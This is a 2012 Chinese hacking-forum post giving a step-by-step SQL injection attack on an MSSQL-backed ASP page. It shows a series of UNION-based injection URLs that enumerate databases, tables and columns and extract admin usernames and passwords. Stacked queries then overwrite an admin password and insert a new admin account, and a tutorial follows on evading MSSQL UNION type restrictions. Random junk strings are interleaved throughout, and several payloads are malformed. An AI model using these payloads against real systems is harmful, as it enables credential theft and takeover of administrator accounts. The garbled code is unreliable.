找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1909|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
爆库:# a. u; ^2 C3 B+ c( H' P5 ]: }
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--' J# R. L7 z2 m/ E! C2 E
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.; C0 g5 E6 L7 }. T% R1 S. g- I, O
爆下一个库:; A! v) W  N- l0 E! M5 @; v
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--2 X7 ?9 D) [" Y6 J
# i+ K& z  C* H* H" n) z8 |. B% \
爆表:
8 ?0 I% `8 @  X3 jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
' [; F7 ^8 p* @% K' b5 B6 [3 U' _  a2 V$ G3 h: ]
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.9 o# `) k) R" O9 ^% g! U

! D' r" {! ^$ i5 C爆下一个表0 _( q9 E' F. l& N! @# {
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
+ Z9 t, f0 R* f0 v( Y
- L8 Z% s  `. i7 B# u& p" C0 ahttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
+ Y  K0 n! S8 b9 W( O: e1 k: f; b$ e. H/ q/ X
, ]% _0 C: z$ I, j* O* e* O
& L; n+ p. l3 w% M) D+ x
爆字段:! E8 q) s8 }3 m) o( _
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
/ s* }8 |" p# n- L7 v& y
' K5 t0 w* V; |6 ?( {" \" V3 M爆下一个字段
. ^; Y6 E. O& T6 q" A, a7 ghttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--# b1 V5 z7 ?( B4 A
& i% S) ]" ]- Z. S9 s$ t2 v1 ^
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
% z3 v9 l2 `( q! c  l, P$ X6 {9 ^" d8 j) k2 W2 l

* ?4 u: v: M/ Z. F7 w/ m( D9 Q! A爆字段里的内容# O4 ]8 z1 H7 R' k- f4 J
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
( ]3 B) c$ f! h5 Y# z- m* l0 X2 I1 Z/ N8 J9 k( H
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
$ S( B, ?; `5 h0 K- F* M: ^1 M- e" N' x) W1 r6 e( A. y6 [
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--! u$ p' [$ I5 }( ?7 r
. ~1 W. O3 g* W: B& V
http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
& n" A) Z! J' r8 F8 G; V) v2 n3 U) `% P9 }6 C2 Q
更新字段里的内容( @; ~& D3 r) J+ O3 v6 w" w
http://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
' r, [! E& l7 D/ z/ N& _
3 u/ Q- R! X4 t" dhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
' N1 Z# d5 U+ W
, ?8 d3 s' F" `, I
# ^- L) `+ K. `/ {2 D: \" ~  n
; U  b  j1 u7 K  [7 q7 U" }" n        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
& ]) P7 i, u0 o3 Q7 D) b6 ]    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
6 v2 U4 l' Y; B3 M9 ?    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
/ n3 {+ r) R: b  H9 V2 o' t    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
0 |% @! a3 m1 ]# J' E  x0 B/ }4 W( R* N, v% L
突了了大部份限制的语句
3 g  R; F% f6 M+ Xand 1=2 union all select char(49),char(50),null,null;--% A# K' R4 {6 p. I

* M4 D  [. s% T! E- _! Z0 ^: |# w- u8 L5 A
null也可以正常执行,不过没有回显,不好判断回显的列数。  {5 f# w  m+ f$ U
一般union遇到问题都是有text或者ntext字段,image的很少遇到
  I+ C$ u% t0 C7 {6 o! _4 ~  l8 b# x* Z
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟: W9 B# I% C; [2 A
  A% L; f8 D* k. D2 n6 H/ c

/ M/ {/ u1 j% p2 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表